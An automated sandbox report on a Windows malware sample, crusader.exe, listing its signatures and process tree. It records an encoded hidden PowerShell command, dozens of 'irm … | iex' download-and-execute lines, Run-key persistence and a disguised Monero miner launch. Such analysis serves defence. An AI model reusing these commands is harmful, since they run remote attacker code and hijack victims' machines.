Overview

overview

8

Static

static

3

crusader.exe

windows10-2004-x64

8

crusader.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    109s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/10/2026, 19:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    crusader.exe
  • Size 7.3MB
  • Sample261029-xt1ynset2w
  • SHA256 df4984c33d1314b4e8fa608ac7a280f5c3fd3c580e64b74bc3f08fd77fe40b8d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 38 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\crusader.exe
    "C:\Users\Admin\AppData\Local\Temp\crusader.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\d4jfboru.sgr.ps1"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4996
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
          4⤵
          • Executes dropped EXE
          PID:808
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 559x8vkdp5py.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\1dgahgfm.iev.ps1"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1488
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm mfycg2bf.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ipevlnlr.pe1.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2424
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm cjb5ij05d31.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\bxmwoatn.t2z.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:1164
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 1v0qi1g26us.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\uui4n2zw.tmr.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5076
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 5d7ojs42d9841g.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\1ea0yh0u.hix.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4320
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ob7aisqd3kv.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ky5mvxuy.35z.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:3416
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ptn9jk74r6.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\3rhwt2nn.tce.ps1"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4884
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 8p49yl4shk.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\kozrzus4.33p.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2328
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ef64vlonu8.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\vju1tw5q.fad.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5012
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 72saiqatg41.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\sao1wpp1.vum.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4684
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 8uxvsbwk5kc4gbd.irm.st | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\jkjzni1x.n5b.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2748
  • C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    1⤵
      PID:2328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm f4gzx82z.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\dwvy5ber.c2p.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:3524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm y53sz9bg9yawog6p.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\nwwnvu5v.y2m.ps1"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:2184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 1k9rcu9l2lt.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\jv51pcdu.rjk.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm mm24j2fd3z6.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\fwvxi5vj.zly.ps1"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm toeeervjutldpd.irm.st | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\h2x4pb5k.dwe.ps1"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:1460
    • C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      1⤵
        PID:2184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 2di88631dssj3z.irm.st | iex"
        1⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\1myj1psp.fl2.ps1"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          PID:1980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 3pw4dkfe.irm.st | iex"
        1⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ynnreed5.0xz.ps1"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          PID:2332
      • C:\Windows\System32\Conhost.exe
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        1⤵
          PID:3204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm o9w2v8feqadtma2.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\j3fkiuv3.cfw.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:3524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 6g6cp1nrzbazprk.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\x3whqfur.ihq.ps1"
            2⤵
            • Badlisted process makes network request
            • Adds Run key to start application
            PID:2788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 731mhkphwy0.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:1824
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\pyk2rfjr.ii4.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:3548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm tl7mrluq33.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:368
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\u504ph20.biv.ps1"
            2⤵
            • Badlisted process makes network request
            • Adds Run key to start application
            PID:4544
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm phxrnjznogg9p.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\o203nbr4.a3h.ps1"
            2⤵
            • Badlisted process makes network request
            • Adds Run key to start application
            PID:4904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm 4ob6nk87jlzuoqjl.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\3jifcwfh.hdq.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:3708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm d4hjqnki.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:2412
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\oecwatpk.02h.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:4856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm rvzp3yvxcnle.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\usnm43rk.u2f.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:5060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm r860gdoznx.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\gaptnzjs.hrl.ps1"
            2⤵
            • Badlisted process makes network request
            • Adds Run key to start application
            PID:1068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm ruj3nji4.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\rejloutd.3mz.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:2400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm sth0j6vubqs.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:3020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\ru25yzw0.ntr.ps1"
            2⤵
            • Adds Run key to start application
            PID:1252
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm bq8x277ykqek.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:4292
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\o0tbnzwe.ogz.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:1960
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm oqjogaq20h1fjx6i.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\atkgeleh.dfu.ps1"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            PID:4432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm f4m4uwzw88i.irm.st | iex"
          1⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of WriteProcessMemory
          PID:456
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\qsv2qiha.vnl.ps1"
            2⤵
            • Badlisted process makes network request
            • Adds Run key to start application
            PID:1604
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          1⤵
            PID:1252
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm hpk1cgr6sf.irm.st | iex"
            1⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:3508
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\pffqm0pn.ypw.ps1"
              2⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              PID:2328
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm iex5g82l.irm.st | iex"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:1488
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\iqec1jim.b43.ps1"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              PID:2288
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm v6xg6dps78y0.irm.st | iex"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:4736
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\nwp1f1zm.j2f.ps1"
              2⤵
              • Adds Run key to start application
              PID:1520
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm wnk3ry3stt5uaiai.irm.st | iex"
            1⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:3416
